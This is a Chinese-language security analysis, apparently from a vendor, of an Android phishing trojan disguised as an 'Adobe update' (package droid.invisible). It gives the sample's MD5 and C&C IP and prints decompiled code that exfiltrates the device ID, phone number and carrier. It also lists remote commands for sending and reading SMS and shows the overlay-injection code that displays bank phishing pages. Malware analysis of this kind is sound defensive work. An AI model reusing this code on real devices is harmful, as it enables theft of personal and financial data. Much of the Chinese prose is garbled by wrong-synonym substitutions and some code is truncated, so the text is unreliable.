内容来自蓝蛙平安
智妙手机已经渗入到世界的每一个角落。颠末多年的快速开展,其强大已能与小我电脑匹敌。除了打德律风和发短信,人们利用智妙手机停止日常付出功用也越来越普及。跟着计算才能的开展,一些传统的歹意软件起头蔓延到智妙手机上。他们把持智妙手机,改动手机的行为,操纵智妙手机领受长途进攻者的指令窃取用户的信息。
此中一个例子就是一种比来发现的歹意利用法式,名为“Adobe更新”,它的包名为“droid.invisible”。那是一个针对Android平台的垂钓木马。
MD5:D8616CDD54154B06A5E4D9D5B2A605E5
图标:
在57家杀毒厂商中,只要3个厂商在APP上线的时候发现了木马。
该歹意软件将本身的开发者证手札息隐躲在一个有声誉的企业之下:
然而,在谷歌利用商铺,官方的com.adobe.reader是准确的开发者证书:
在安拆时,歹意软件给用户闪现了一个误导性的设置对话框,改换其默认的短信利用:
该利用法式会展现动静,诱利用户授予设备治理权限来连结系统的耐久性:
该利用法式无法一般卸载:
该利用法式与长途办事器通信并发送重要的小我信息:
国度
设备型号
IMEI
收集运营商
手机号码
歹意软件bot ID
操做系统版本
设备名称
OS API级别
下面的代码片段演示了上述行为:
class a
implements Runnable
a(GateService paramGateService) {}
public void run()
try
for ()
Thread.sleep(20000L);
Log.d(“INVISIBLE-LOG”, “[GATE SERVICE] – SEND MOBILE DATA”);
a.a.a.a.a locala = new a.a.a.a.a();
x localx = new x();
TelephonyManager localTelephonyManager = (TelephonyManager)this.a.getSystemService(“phone”);
localx.a(“id”, localTelephonyManager.getDeviceId());
localx.a(“country”, localTelephonyManager.getNetworkCountryIso());
localx.a(“opname”, localTelephonyManager.getNetworkOperatorName());
localx.a(“osversion”, System.getProperty(“os.version”) + “(” + Build.VERSION.INCREMENTAL + “)”);
localx.a(“osapilevel”, Build.VERSION.RELEASE + “(” + Build.VERSION.SDK_INT + “)”);
localx.a(“device”, Build.DEVICE);
localx.a(“model”, Build.MODEL + ” (” + Build.PRODUCT + “)”);
localx.a(“pnumber”, localTelephonyManager.getLine1Number());
localx.a(“botid”, “777”);
locala.a(“));
此外,歹意软件从C&C办事器领受指令以施行各类功用:
loop//期待下一个号令
sms//发送短信
readsms//获取短信并发送至C&C办事器
ion//功用无法施行,写进log文件
ioff//同上
recall//唤喊收到的号码。
fish//展现进攻者掌握的网页当一个特定的前台运行利用法式被发现。
下面的代码片段演示了歹意软件查抄领受到的参数,并展现一个垂钓网页:
if (paramArrayOfByte[0].equals(“fish”)) // compare command name
Log.d(“INVISIBLE-LOG”, “[GATE SERVICE] :: FISH”);
this.b.a.startService(new Intent(this.b.a, InjectionScanner.class).putExtra(“data”, paramArrayOfByte[1]));
public class InjectionScanner extends Service
int a = 0;
String b;
public String a()
return ((ActivityManager.RunningAppProcessInfo)((ActivityManager)getSystemService(“activity”)).getRunningAppProcesses().get(0)).processName; // get foreground running process name
public void a(String paramString)
paramString = new Thread(new g(this, paramString));
paramString.setDaemon(true);
paramString.start();
public class InjectionScanner extends Service
int a = 0;
String b;
public String a()
return ((ActivityManager.RunningAppProcessInfo)((ActivityManager)getSystemService(“activity”)).getRunningAppProcesses().get(0)).processName;
public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2)
this.b = paramIntent.getStringExtra(“data”);
a();
a(this.b);
return paramInt1;
(this.b.a().equals(localJSONObject.getJSONObject(localJSONObject.names().getString(i)).getJSONArray(“apps”).getString(j))) // compare the foreground running app name with received string
Intent localIntent = new Intent(this.b, InjectionActivity.class);
localIntent.addFlags(268435456);
localIntent.putExtra(“injection”, localJSONObject.names().getString(i));
this.b.startActivity(localIntent);
this.b.a = 1;
@SuppressLint({“SetJavaScriptEnabled”})
protected void onCreate(Bundle paramBundle)
super.onCreate(paramBundle);
setContentView(2130968604);
paramBundle = (TelephonyManager)getSystemService(“phone”);
Intent localIntent = getIntent();
WebView localWebView = (WebView)findViewById(2131492971);
localWebView.getSettings().setJavaScriptEnabled(true);
localWebView.setWebViewClient(new f(this, null));
localWebView.setWebChromeClient(new e(this, null));
localWebView.loadUrl(“
当特定利用被发现的时候,该歹意软件会展现收集垂钓网页,例如一个银行利用法式。骗子说服漫不经心的用户输进他们的财政细节并以此获取所有信息。
C&C办事器94.140.120.183位于拉脱维亚: